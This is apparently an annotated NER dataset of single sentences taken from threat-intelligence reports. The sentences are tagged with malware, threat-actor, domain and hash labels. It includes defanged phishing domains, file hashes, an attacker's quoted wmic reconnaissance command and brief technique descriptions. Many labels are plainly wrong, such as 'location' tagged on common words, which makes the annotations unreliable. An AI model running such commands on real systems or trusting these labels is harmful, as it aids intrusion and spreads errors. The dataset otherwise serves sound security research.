{"id":5393,"text":"The timeline of several SSL certificates that were issued for Cyclops Blink C&Cs      Our investigation shows that there are more than 200 Cyclops Blink victims around the world.","entities":[{"id":51386,"label":"malware","start_offset":139,"end_offset":152}],"relations":[],"Comments":[]}
{"id":2093,"text":" Ransomware is a lucrative operation if done correctly.","entities":[],"relations":[],"Comments":[]}
{"id":7335,"text":"The backdoor changes the permission of the file it wants to execute to +x  T1027  Obfuscated Files or Information  Readable strings were encrypted  T1036.005  Masquerading: Match Legitimate Name or Location  The app bundle is disguised as a doc file to trick users into executing it  T1070.006  Indicator Removal","entities":[{"id":22830,"label":"attack-pattern","start_offset":82,"end_offset":113},{"id":22831,"label":"attack-pattern","start_offset":159,"end_offset":171}],"relations":[],"Comments":[]}
{"id":1367,"text":"To demonstrate the difference, the following two commands run PHP code to show that a comparison of the string code with boolean true using == results in a boolean true, while the same comparison using === results in a boolean false:  As a result of the analysis of the CVE-2021-32648 vulnerability, various product protections were created or enhanced.","entities":[{"id":46696,"label":"vulnerability","start_offset":270,"end_offset":284}],"relations":[],"Comments":[]}
{"id":138,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  ","entities":[],"relations":[],"Comments":[]}
{"id":3043,"text":"And it\u2019s always good to know about other features and capabilities, for example child safety controls.","entities":[],"relations":[],"Comments":[]}
{"id":1549,"text":"The attackers are relying on the recipient to follow the instruction in the email and click \u201cEnable Content\u201d.","entities":[],"relations":[],"Comments":[]}
{"id":3099,"text":"For all intents and purposes, it \u201cpatches\u201d the vulnerabilities.","entities":[],"relations":[],"Comments":[]}
{"id":13613,"text":"     Figure 13.","entities":[],"relations":[],"Comments":[]}
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{"id":207,"text":"On Feb. 23, a malicious file named conhosts._exe (SHA256: 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591) was uploaded to a public malware repository from an organization in Kyiv, Ukraine.","entities":[{"id":678,"label":"SHA2","start_offset":58,"end_offset":122},{"id":44630,"label":"location","start_offset":192,"end_offset":205},{"id":44631,"label":"FILEPATH","start_offset":35,"end_offset":48},{"id":44632,"label":"TIME","start_offset":3,"end_offset":10}],"relations":[{"id":133,"from_id":678,"to_id":44631,"type":"indicates"}],"Comments":[]}
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{"id":4157,"text":" Based on previous experience, Rclone has frequently been used in ransomware attacks to exfiltrate stolen data.","entities":[{"id":12490,"label":"tools","start_offset":31,"end_offset":37}],"relations":[],"Comments":[]}
{"id":177,"text":" In some ways, ransomware is a threat unlike any other.","entities":[],"relations":[],"Comments":[]}
{"id":11342,"text":"HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.","entities":[],"relations":[],"Comments":[]}
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{"id":4205,"text":"During the months that followed in which we tracked Confucius\u2019 activities, we found that they were still aiming for Pakistani targets.","entities":[{"id":50019,"label":"location","start_offset":116,"end_offset":125},{"id":50018,"label":"threat-actor","start_offset":52,"end_offset":61}],"relations":[{"id":902,"from_id":50018,"to_id":50019,"type":"targets"}],"Comments":[]}
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{"id":155,"text":"From an operating system point of view, the ransomware IS the user.","entities":[],"relations":[],"Comments":[]}
{"id":14164,"text":"Having multiple vendors for different areas of security results in silos and segmentation due to a lack of integration across the security industry, but XDR could bring a shift in this practice as they include more support for 3rd party intelligence feeds.","entities":[],"relations":[],"Comments":[]}
{"id":4964,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/  Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf  Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info  ","entities":[{"id":50995,"label":"URL","start_offset":430,"end_offset":489},{"id":50987,"label":"threat-actor","start_offset":16,"end_offset":21},{"id":50988,"label":"DOMAIN","start_offset":42,"end_offset":88},{"id":50989,"label":"DOMAIN","start_offset":89,"end_offset":127},{"id":50990,"label":"DOMAIN","start_offset":128,"end_offset":167},{"id":50993,"label":"URL","start_offset":292,"end_offset":339},{"id":50994,"label":"URL","start_offset":340,"end_offset":401},{"id":50996,"label":"DOMAIN","start_offset":509,"end_offset":520},{"id":50997,"label":"DOMAIN","start_offset":521,"end_offset":539},{"id":51001,"label":"DOMAIN","start_offset":606,"end_offset":646},{"id":51002,"label":"DOMAIN","start_offset":647,"end_offset":680},{"id":51003,"label":"DOMAIN","start_offset":681,"end_offset":713},{"id":51004,"label":"DOMAIN","start_offset":714,"end_offset":753},{"id":51005,"label":"DOMAIN","start_offset":754,"end_offset":788},{"id":51006,"label":"DOMAIN","start_offset":789,"end_offset":821},{"id":51007,"label":"DOMAIN","start_offset":822,"end_offset":852},{"id":51008,"label":"DOMAIN","start_offset":853,"end_offset":889},{"id":50991,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":50992,"label":"URL","start_offset":229,"end_offset":290},{"id":50998,"label":"DOMAIN","start_offset":540,"end_offset":559},{"id":50999,"label":"DOMAIN","start_offset":560,"end_offset":577},{"id":51000,"label":"DOMAIN","start_offset":578,"end_offset":605}],"relations":[],"Comments":[]}
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{"id":206,"text":"The Ukrainian CERT did identify a post on RaidForums from a user named \u201cCarzita\u201d that suggested that additional actors may also be launching DDoS and defacement attacks for undisclosed reasons.","entities":[{"id":45901,"label":"identity","start_offset":4,"end_offset":18},{"id":45903,"label":"identity","start_offset":72,"end_offset":79},{"id":45902,"label":"identity","start_offset":42,"end_offset":52},{"id":45904,"label":"attack-pattern","start_offset":141,"end_offset":145},{"id":45905,"label":"attack-pattern","start_offset":150,"end_offset":168}],"relations":[],"Comments":[]}
{"id":1840,"text":"     Figure 18.","entities":[],"relations":[],"Comments":[]}
{"id":14224,"text":"After decryption, partial code is run on the machine, which is then injected to svchost.exe (a key Windows component); payload is then loaded into memory.","entities":[{"id":48253,"label":"SOFTWARE","start_offset":80,"end_offset":91}],"relations":[],"Comments":[]}
{"id":12560,"text":"After downloading the payload, it removes the quarantine attribute of the file to bypass Gatekeeper.","entities":[{"id":39076,"label":"tools","start_offset":89,"end_offset":99}],"relations":[],"Comments":[]}
{"id":10500,"text":"NOTE: On May 20th, we updated our attribution to more precisely describe our findings.","entities":[],"relations":[],"Comments":[]}
{"id":13003,"text":"Both pages from this campaign are shown below.","entities":[],"relations":[],"Comments":[]}
{"id":2333,"text":"It then elevated privileges to install the payload.","entities":[],"relations":[],"Comments":[]}
{"id":5139,"text":"Most of us in a home have a grocery list and maybe once a week\u2014maybe twice\u2013we head to the grocery store and we try to get everything we want off the list and then we come back.","entities":[],"relations":[],"Comments":[]}
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{"id":8242,"text":"Always verify requests.","entities":[],"relations":[],"Comments":[]}
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{"id":684,"text":"While still not seen in the wild, similar exploits in Microsoft Equation Editor, such as such as CVE-2018-0807 and CVE-2018-0798, were identified by Unit 42 researchers.","entities":[{"id":2275,"label":"identity","start_offset":149,"end_offset":156},{"id":44827,"label":"SOFTWARE","start_offset":54,"end_offset":79},{"id":44824,"label":"vulnerability","start_offset":97,"end_offset":110},{"id":44825,"label":"vulnerability","start_offset":115,"end_offset":128}],"relations":[{"id":29,"from_id":44827,"to_id":44825,"type":"has"},{"id":28,"from_id":44827,"to_id":44824,"type":"has"}],"Comments":[]}
{"id":3005,"text":"Because of this, make sure you\u2019re using good, strong unique passwords for the apps you use on these devices.","entities":[],"relations":[],"Comments":[]}
{"id":4794,"text":"Google is investing heavily as a company and as an industry to counter serious threats to our users.","entities":[{"id":50695,"label":"identity","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
{"id":2023,"text":"This particular packer seems to be more common on x64 binaries and involves decrypting embedded blobs using a seemingly custom algorithm containing unconventional instructions such as XLAT (Figure 6).  Aside from storing the encrypted second layer, there is little to no obfuscation within the packer; API calls such as VirtualAlloc and VirtualProtect are clearly visible, and there is no control flow obfuscation.","entities":[],"relations":[],"Comments":[]}
{"id":6895,"text":"In 2019, we sent almost 40,000 warnings, a nearly 25 percent drop from 2018.","entities":[],"relations":[],"Comments":[]}
{"id":14007,"text":"Consequently, some of the attribution indicators will span and include the previous SLUB malware campaigns.","entities":[{"id":43413,"label":"malware","start_offset":84,"end_offset":88}],"relations":[],"Comments":[]}
{"id":1873,"text":"We also worked closely with Microsoft, so they released a block in the Windows operating system (10 and 11), so the old version of the Avast driver can't be loaded to memory.","entities":[{"id":46995,"label":"SOFTWARE","start_offset":71,"end_offset":107},{"id":46994,"label":"identity","start_offset":28,"end_offset":37},{"id":46996,"label":"SOFTWARE","start_offset":135,"end_offset":147}],"relations":[],"Comments":[]}
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{"id":12426,"text":"In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors\u2019 blog.","entities":[],"relations":[],"Comments":[]}
{"id":11083,"text":"We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.","entities":[],"relations":[],"Comments":[]}
{"id":13120,"text":"A tech tipping point We all know why global organizations are turning in their droves to cloud computing services and infrastructure.","entities":[],"relations":[],"Comments":[]}
{"id":9212,"text":"Executives and decision-makers must understand that cybersecurity is not just an IT issue but a major element that affects the entire organization and its operations.","entities":[{"id":28446,"label":"location","start_offset":11,"end_offset":14},{"id":28447,"label":"identity","start_offset":73,"end_offset":77},{"id":28448,"label":"location","start_offset":84,"end_offset":89},{"id":28449,"label":"location","start_offset":96,"end_offset":101},{"id":28450,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
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{"id":3908,"text":"In as little as 15 bytes, web shells can enable remote administration of an infected machine or system.","entities":[{"id":49757,"label":"attack-pattern","start_offset":26,"end_offset":36}],"relations":[],"Comments":[]}
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{"id":4690,"text":"TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.","entities":[{"id":50576,"label":"identity","start_offset":0,"end_offset":3},{"id":50577,"label":"threat-actor","start_offset":75,"end_offset":90}],"relations":[],"Comments":[]}
{"id":13988,"text":"Do you think the evolution of EDR to XDR will meet many of challenges we are seeing today?","entities":[{"id":48778,"label":"SOFTWARE","start_offset":30,"end_offset":34},{"id":48779,"label":"SOFTWARE","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
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{"id":3344,"text":"The server-side variant has also been noted to be used as a malware loader by the Winnti Group.","entities":[{"id":48956,"label":"threat-actor","start_offset":82,"end_offset":94}],"relations":[],"Comments":[]}
{"id":7716,"text":"Both versions tried to download and execute files km1 or km2, an .MSI installer that executes the FlawedAmmyy downloader.","entities":[{"id":23972,"label":"location","start_offset":32,"end_offset":35},{"id":23973,"label":"malware","start_offset":98,"end_offset":109}],"relations":[],"Comments":[]}
{"id":3907,"text":"Web shells can be embedded on web servers and can be used by malicious actors to launch arbitrary code.","entities":[{"id":49755,"label":"attack-pattern","start_offset":81,"end_offset":102},{"id":49756,"label":"attack-pattern","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
{"id":2386,"text":"It has many of the same capabilities as another backdoor, Crosswalk, which has also been used by Earth Baku.","entities":[{"id":47451,"label":"threat-actor","start_offset":97,"end_offset":107},{"id":47450,"label":"malware","start_offset":58,"end_offset":67}],"relations":[{"id":330,"from_id":47451,"to_id":47450,"type":"uses"}],"Comments":[]}
{"id":9035,"text":"   In addition to the backdoor\u2019s modus operandi, the attackers will use a Microsoft WMI command-line tool to list the compromised system\u2019s running processes, which are sent to the C&C server:  \u201cC:\\Windows\\system32\\cmd.exe\u201d \/c \u201cwmic process get processid,commandline,sessionid | findstr SysWOW\u201d \u201cC:\\Windows\\system32\\cmd.exe\u201d \/c \u201cwmic process get processid,commandline,sessionid | findstr x86\u201d    Technical Analysis","entities":[{"id":27915,"label":"location","start_offset":63,"end_offset":67},{"id":27916,"label":"identity","start_offset":74,"end_offset":83},{"id":27917,"label":"location","start_offset":101,"end_offset":105},{"id":27918,"label":"location","start_offset":109,"end_offset":113},{"id":27919,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
{"id":933,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":11951,"text":"We terminated 33 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]}
{"id":7554,"text":"We also touch on the latest TA505 developments, including an email stealer, their use of legitimate software and MSI Installer, and more.","entities":[{"id":23553,"label":"malware","start_offset":67,"end_offset":74},{"id":23554,"label":"location","start_offset":109,"end_offset":112},{"id":23556,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]}
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{"id":2424,"text":"One easy way to get RCE is using the exposed class loader to modify the Tomcat log configuration and remotely upload a JSP web shell after changing the Tomcat log configuration.","entities":[{"id":45511,"label":"SOFTWARE","start_offset":152,"end_offset":158},{"id":7258,"label":"attack-pattern","start_offset":123,"end_offset":132},{"id":47496,"label":"SOFTWARE","start_offset":72,"end_offset":78}],"relations":[],"Comments":[]}
{"id":2673,"text":"The difference in initial and final ransom demands over the past fiscal year has been converted to percentages and then averaged.","entities":[],"relations":[],"Comments":[]}
{"id":3838,"text":"We initially discovered the malware known as ANEL back in September 2017.","entities":[{"id":11634,"label":"malware","start_offset":45,"end_offset":49},{"id":49693,"label":"TIME","start_offset":58,"end_offset":72}],"relations":[],"Comments":[]}
{"id":1614,"text":"It explains that by opening the application the reader agrees to receive up to 10 SMS messages a week at a cost of 1.46 euros each.","entities":[],"relations":[],"Comments":[]}
{"id":6212,"text":"For requests sent to \u201c\/cgi-bin\/start,\u201d which is a page wrapper used to show the main webmail page, the Service Worker script will reply by sending another page to the victim.","entities":[{"id":19182,"label":"location","start_offset":31,"end_offset":36},{"id":19183,"label":"malware","start_offset":50,"end_offset":54},{"id":19184,"label":"location","start_offset":93,"end_offset":97},{"id":19185,"label":"location","start_offset":125,"end_offset":129},{"id":19186,"label":"malware","start_offset":155,"end_offset":159}],"relations":[],"Comments":[]}
{"id":9095,"text":"The group already implemented certain mechanisms to prevent AV detection.","entities":[],"relations":[],"Comments":[]}
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{"id":6158,"text":"Initial Access","entities":[],"relations":[],"Comments":[]}
{"id":13937,"text":"Compromised enterprise assets are a lucrative commodity on underground markets; cybercriminals are well aware of how to make money from attacking company servers.","entities":[],"relations":[],"Comments":[]}
{"id":1242,"text":" SMS-based IAP SDKs have become a gray zone that needs close attention.","entities":[],"relations":[],"Comments":[]}
{"id":5708,"text":"Malware used by Earth Lusca Earth Lusca employs several malware and other hacking tools in its arsenal.","entities":[{"id":17620,"label":"threat-actor","start_offset":28,"end_offset":39},{"id":17621,"label":"location","start_offset":64,"end_offset":67},{"id":17622,"label":"location","start_offset":95,"end_offset":102}],"relations":[],"Comments":[]}
{"id":14052,"text":"In 2017, Palo Alto\u2019s Unit 42 detailed their findings around the Freenki malware.","entities":[{"id":47204,"label":"malware","start_offset":64,"end_offset":72},{"id":47205,"label":"identity","start_offset":20,"end_offset":28}],"relations":[],"Comments":[]}
{"id":3534,"text":"The potential victim may not be able to notice the intrusions as the first stage involves only profiling and reconnaissance.","entities":[],"relations":[],"Comments":[]}
{"id":2992,"text":"In addition to using those features, you should take time to ensure you know what health information is being used and that the cloud account(s) these devices synchronize with have very strong passwords.","entities":[],"relations":[],"Comments":[]}
{"id":3206,"text":"Code excerpt from the scheduled task     We also noticed the path string \u201cServiceHub\u201d, which is a path to the extracted Python runtime.","entities":[{"id":9799,"label":"attack-pattern","start_offset":22,"end_offset":36}],"relations":[],"Comments":[]}
{"id":3316,"text":"The script \u201cgetwechatdb\u201d is used for exfiltrating the chat history from the WeChat Windows client.","entities":[{"id":48401,"label":"SOFTWARE","start_offset":76,"end_offset":97}],"relations":[],"Comments":[]}
{"id":14329,"text":"Upon checking the cached version of the page, we discovered that it was also used to distribute the adult game first used by the attackers behind Maikspy.","entities":[{"id":48556,"label":"malware","start_offset":146,"end_offset":153}],"relations":[],"Comments":[]}
{"id":7530,"text":"The XML message with the screenshot","entities":[],"relations":[],"Comments":[]}
{"id":4624,"text":"Imagine that!","entities":[],"relations":[],"Comments":[]}
{"id":37,"text":"Over time, that business became less profitable due to anti-spam controls and ISPs preventing infected systems from directly relaying emails.","entities":[],"relations":[],"Comments":[]}
{"id":7161,"text":"We expect to see more cases involving four or five files instead of the usual \u201ctrident\u201d in the future.","entities":[{"id":22402,"label":"threat-actor","start_offset":79,"end_offset":86}],"relations":[],"Comments":[]}
{"id":6047,"text":"If the RCE was successful, the javascript would request the next stage referenced within the script as \u201cSBX\u201d, a common acronym for Sandbox Escape.","entities":[{"id":18653,"label":"malware","start_offset":119,"end_offset":126}],"relations":[],"Comments":[]}
{"id":1971,"text":"But the server only checks the cookie length field, not whether the cookie buffer can be read.","entities":[],"relations":[],"Comments":[]}
{"id":4597,"text":"As per the Exchange documentation, clients don\u2019t directly connect to the backend services.","entities":[{"id":50479,"label":"SOFTWARE","start_offset":11,"end_offset":19}],"relations":[],"Comments":[]}
{"id":303,"text":"Recent events continue to highlight the abuse of remote access applications in the enterprise.","entities":[],"relations":[],"Comments":[]}
{"id":3874,"text":"A proactive strategy can be much more effective for targeted attacks, as these kinds of attacks are often designed to be elusive and difficult to detect, thus the need to scope them out.","entities":[],"relations":[],"Comments":[]}
{"id":2876,"text":"Two parts must be combined to ensure a successful attack.","entities":[],"relations":[],"Comments":[]}
{"id":9670,"text":"The HandlePP::getClientID method uses the following environment variables:  Figure 11. Serial number  Figure 12.","entities":[],"relations":[],"Comments":[]}
{"id":2654,"text":" LockBit 2.0 targets organizations opportunistically.","entities":[{"id":47843,"label":"threat-actor","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]}
{"id":1690,"text":"Targeting a Vietnamese speaking audience, one of the malicious documents mentions Donald Trump and the disputed South China Sea area.","entities":[{"id":46880,"label":"location","start_offset":112,"end_offset":132},{"id":46881,"label":"identity","start_offset":82,"end_offset":94},{"id":46882,"label":"attack-pattern","start_offset":53,"end_offset":72}],"relations":[],"Comments":[]}
{"id":13235,"text":"Here\u2019s a summary of the attack chain of Tropic Trooper\u2019s recent campaigns:  ","entities":[],"relations":[],"Comments":[]}
{"id":12289,"text":"We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
{"id":11175,"text":"We terminated 17 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
{"id":2827,"text":"The \u201ckillswitch\u201d is code which will attempt to connect to an extremely long domain that should not resolve.","entities":[],"relations":[],"Comments":[]}
{"id":2766,"text":"As described above, the most-common exploit scenario seems like it will be web servers running Apache and using CGI scripts.","entities":[{"id":45689,"label":"SOFTWARE","start_offset":95,"end_offset":101},{"id":45690,"label":"SOFTWARE","start_offset":111,"end_offset":115}],"relations":[],"Comments":[]}
{"id":3397,"text":"BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  6ee8f6a0c514a5bd25f7a32210f4b3fe878d9d417a7ebe07befc285131bae10e  news.exe","entities":[{"id":10258,"label":"SHA2","start_offset":46,"end_offset":110},{"id":10257,"label":"malware","start_offset":0,"end_offset":11},{"id":49059,"label":"FILEPATH","start_offset":112,"end_offset":120},{"id":49058,"label":"malware","start_offset":20,"end_offset":44}],"relations":[{"id":626,"from_id":49059,"to_id":49058,"type":"indicates"},{"id":627,"from_id":10258,"to_id":49058,"type":"indicates"},{"id":624,"from_id":10257,"to_id":49058,"type":"duplicate-of"},{"id":625,"from_id":49059,"to_id":10258,"type":"duplicate-of"}],"Comments":[]}
{"id":1457,"text":"The X-axis is the number of apps sharing the same certificate.","entities":[],"relations":[],"Comments":[]}
{"id":4406,"text":"A new folder named \"Download\" is created adjacent to the main binary.","entities":[],"relations":[],"Comments":[]}
{"id":1817,"text":"     Figure 12.","entities":[],"relations":[],"Comments":[]}
{"id":9276,"text":"The attacker injected their skimming script into the shared JavaScript libraries used by online stores on the PrismWeb platform.","entities":[],"relations":[],"Comments":[]}
{"id":2377,"text":"This loader can stealthily run its payload in various ways, such as using the CreateThread function, bypassing Microsoft\u2019s Control Flow Guard (CFG), module stomping, and phantom dynamic link library (DLL) hollowing.","entities":[{"id":47439,"label":"SOFTWARE","start_offset":111,"end_offset":147}],"relations":[],"Comments":[]}
{"id":8840,"text":"PlugX and  malicious BLOBs","entities":[{"id":27373,"label":"malware","start_offset":0,"end_offset":5},{"id":27374,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]}
{"id":5467,"text":"The config files have a similar, custom structure, and both groups have infrastructure overlap.","entities":[],"relations":[],"Comments":[]}
{"id":9885,"text":"APT33 has also been executing more aggressive attacks over the past few years.","entities":[],"relations":[],"Comments":[]}
{"id":3492,"text":"#-*-coding:utf-8 -*- import os, sys, datetime, operator, base64 def decrypt():     if len(sys.argv) != 2:       print \"Usegae : .\/decrypt_protux_magnet.py <Full magnet strings>\" sys.exit(0) str = sys.argv[1] head = str.find(\"magnet:?xt=urn:bhih:\")","entities":[],"relations":[],"Comments":[]}
{"id":3845,"text":"Differences with regards to Backdoor commands:  CMD ID 5.0.0 beta1\/5.1.1 rc\/5.1.2 rc1 5.2.0 rev1 0x97A168D9697D40DD Save File 0x7CF812296CCC68D5 Upload File 0x652CB1CEFF1C0A00 NA Load New PE file 0x27595F1F74B55278 Save File and Execute If no match above Execute Command or File   The differences shown in the table above are subtle but present.","entities":[],"relations":[],"Comments":[]}
{"id":2963,"text":"This time every year, people all over the world get new devices.","entities":[],"relations":[],"Comments":[]}
{"id":2092,"text":"Unit 42 was able to uncover additional x4k activity being linked to malicious infrastructure, and additional malware besides the initial ransomware sample, going back to 2020.","entities":[{"id":47223,"label":"threat-actor","start_offset":39,"end_offset":42},{"id":47222,"label":"identity","start_offset":0,"end_offset":7},{"id":47224,"label":"TIME","start_offset":170,"end_offset":174}],"relations":[],"Comments":[]}
{"id":10239,"text":"The group then logged in to a compromised email account of a chicken farm in Oman, and then sent out credential phishing spam messages to high-profile targets around the world.","entities":[{"id":31277,"label":"location","start_offset":61,"end_offset":68},{"id":31279,"label":"location","start_offset":83,"end_offset":86},{"id":31280,"label":"attack-pattern","start_offset":112,"end_offset":120},{"id":31281,"label":"location","start_offset":170,"end_offset":175}],"relations":[],"Comments":[]}
{"id":4669,"text":"The downloaded emails are not sent to the C2.","entities":[],"relations":[],"Comments":[]}
{"id":3479,"text":"Encrypted configurations of Protux (top) and Marade (bottom) in the same blog post Correlating Marade and Protux","entities":[{"id":49281,"label":"malware","start_offset":28,"end_offset":34},{"id":49282,"label":"malware","start_offset":45,"end_offset":51},{"id":49283,"label":"malware","start_offset":95,"end_offset":101},{"id":49284,"label":"malware","start_offset":106,"end_offset":112}],"relations":[{"id":778,"from_id":49283,"to_id":49284,"type":"variant-of"}],"Comments":[]}
{"id":5623,"text":"UUDama uses a combination of machines and humans to quickly take CAPTCHA images submitted by Cardbuyer (or anyone else who will pay) and turn them into the expected text within 60 seconds.","entities":[{"id":17310,"label":"location","start_offset":38,"end_offset":41},{"id":17312,"label":"location","start_offset":123,"end_offset":127},{"id":17313,"label":"location","start_offset":133,"end_offset":136},{"id":17314,"label":"location","start_offset":142,"end_offset":146},{"id":17315,"label":"TIME","start_offset":177,"end_offset":187}],"relations":[],"Comments":[]}
{"id":1849,"text":"    Other executions and lateral movement","entities":[{"id":46977,"label":"attack-pattern","start_offset":25,"end_offset":41}],"relations":[],"Comments":[]}
{"id":12301,"text":"We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
{"id":8069,"text":"We believe this is a technique the attacker is using to evade detection rules.","entities":[],"relations":[],"Comments":[]}
{"id":7970,"text":" From Google:  \u201cAndroid Open Source Project includes patches for this issue for Android 4.3 and later.","entities":[{"id":24688,"label":"attack-pattern","start_offset":29,"end_offset":35},{"id":24689,"label":"location","start_offset":70,"end_offset":75},{"id":24690,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
{"id":10826,"text":"When this message is received, a periodic task for heartbeat message is set.","entities":[],"relations":[],"Comments":[]}
{"id":111,"text":"In this case, what are the motivation and end goals of an attacker?","entities":[],"relations":[],"Comments":[]}
{"id":8282,"text":"We also checked the registrant data of the domains used by the attacker.","entities":[],"relations":[],"Comments":[]}
{"id":6350,"text":" Version.dll is a modified version of a legitimate Microsoft file written in C++.","entities":[],"relations":[],"Comments":[]}
{"id":4020,"text":"However, we believe that it will continue collecting internal information from the compromised victims and that it is simply waiting for an opportunity to use this data.","entities":[],"relations":[],"Comments":[]}
{"id":4298,"text":"The reality is that IT departments of small to large-sized organizations are not equipped to handle the more advanced threats that groups like Confucius use in their attacks.","entities":[{"id":50094,"label":"threat-actor","start_offset":143,"end_offset":152}],"relations":[],"Comments":[]}
{"id":3734,"text":" Unit 42 has observed numerous instances of CVE-2022-22954 being exploited in the wild.","entities":[{"id":11330,"label":"identity","start_offset":1,"end_offset":8},{"id":49543,"label":"vulnerability","start_offset":44,"end_offset":58}],"relations":[],"Comments":[]}
{"id":797,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":3713,"text":"In Carbanak attacks, the groups\u2019 attacks can involve logging into services that accept remote connections and using stolen password hashes through the \u201cpass the hash\u201d method.","entities":[{"id":49509,"label":"attack-pattern","start_offset":152,"end_offset":165},{"id":49510,"label":"threat-actor","start_offset":3,"end_offset":11},{"id":49511,"label":"attack-pattern","start_offset":110,"end_offset":138}],"relations":[{"id":812,"from_id":49510,"to_id":49511,"type":"uses"},{"id":813,"from_id":49510,"to_id":49509,"type":"uses"}],"Comments":[]}
{"id":1326,"text":"All data is sent via HTTP POST requests.","entities":[],"relations":[],"Comments":[]}
{"id":2239,"text":"The initial POST request contains a unique victim identifier that was previously generated.","entities":[],"relations":[],"Comments":[]}
{"id":1752,"text":"In February, Microsoft awarded $100,000 to Yu Yang (@Tombkeeper) for reporting a new mitigation bypass technique as part of Microsoft\u2019s Bounty Program.","entities":[{"id":45119,"label":"identity","start_offset":43,"end_offset":50},{"id":45120,"label":"identity","start_offset":52,"end_offset":63},{"id":45117,"label":"TIME","start_offset":3,"end_offset":11},{"id":45121,"label":"identity","start_offset":124,"end_offset":133},{"id":45118,"label":"identity","start_offset":13,"end_offset":22}],"relations":[],"Comments":[]}
{"id":8738,"text":"It was last updated on January 26, 2021.","entities":[],"relations":[],"Comments":[]}
{"id":5497,"text":"The stolen files are then exfiltrated by abusing a cloud storage service.","entities":[],"relations":[],"Comments":[]}
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{"id":503,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  Ransomware is one of the top threats in cybersecurity and a focus area for Palo Alto Networks.","entities":[{"id":46135,"label":"identity","start_offset":128,"end_offset":146}],"relations":[],"Comments":[]}
{"id":2782,"text":"But in this case, the attacker actually gets the credit that the victim\u2019s computational resources earns without the visitors\u2019 consent or knowledge making it a malicious attack.","entities":[],"relations":[],"Comments":[]}
{"id":2687,"text":"Moreover, on March 17, LockBit forum members mentioned the release of LockBit\u2019s next version in one or two weeks.","entities":[{"id":47896,"label":"TIME","start_offset":13,"end_offset":21},{"id":8201,"label":"malware","start_offset":23,"end_offset":30},{"id":8202,"label":"malware","start_offset":70,"end_offset":77}],"relations":[],"Comments":[]}
{"id":221,"text":"This trend correlates with an increase in Google searches for terms like \"Ukraine aid.\"","entities":[{"id":45916,"label":"SOFTWARE","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
{"id":4882,"text":"Google\u2019s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":50891,"label":"identity","start_offset":0,"end_offset":30}],"relations":[],"Comments":[]}
{"id":644,"text":"Previous variants were spread through e-mail, but we have not identified this latest sample carried in any e-mail related attacks.","entities":[],"relations":[],"Comments":[]}
{"id":1310,"text":"This response will instruct the malware to execute the given command:  The results of this -execution are stored in a temporary text file in the %TEMP% directory.","entities":[{"id":46666,"label":"FILEPATH","start_offset":145,"end_offset":151}],"relations":[],"Comments":[]}
{"id":13664,"text":"Email header \u201cfrom\u201d field shows New York and various email accounts indicating \u201cSwiftme@{company domain names}\u201d","entities":[],"relations":[],"Comments":[]}
{"id":9919,"text":"Table 2. APT33 C&C domains for extreme narrow targeting  Figure 1. Schema showing the multiple obfuscation layers that APT33 uses","entities":[{"id":30271,"label":"threat-actor","start_offset":9,"end_offset":14},{"id":30273,"label":"threat-actor","start_offset":119,"end_offset":124}],"relations":[],"Comments":[]}
{"id":2429,"text":"For this vulnerability, the class loader plays a vital role in the exploitation.","entities":[],"relations":[],"Comments":[]}
{"id":3670,"text":"To be more specific in terms of ATT&CK\u00ae techniques, Carbanak and FIN7 share a notable number of similarities.","entities":[{"id":49461,"label":"threat-actor","start_offset":65,"end_offset":69},{"id":49460,"label":"threat-actor","start_offset":52,"end_offset":60}],"relations":[{"id":802,"from_id":49460,"to_id":49461,"type":"related-to"}],"Comments":[]}
{"id":13631,"text":"          Figure 18.","entities":[],"relations":[],"Comments":[]}
{"id":10864,"text":"The component responsible for managing the C&C server.","entities":[],"relations":[],"Comments":[]}
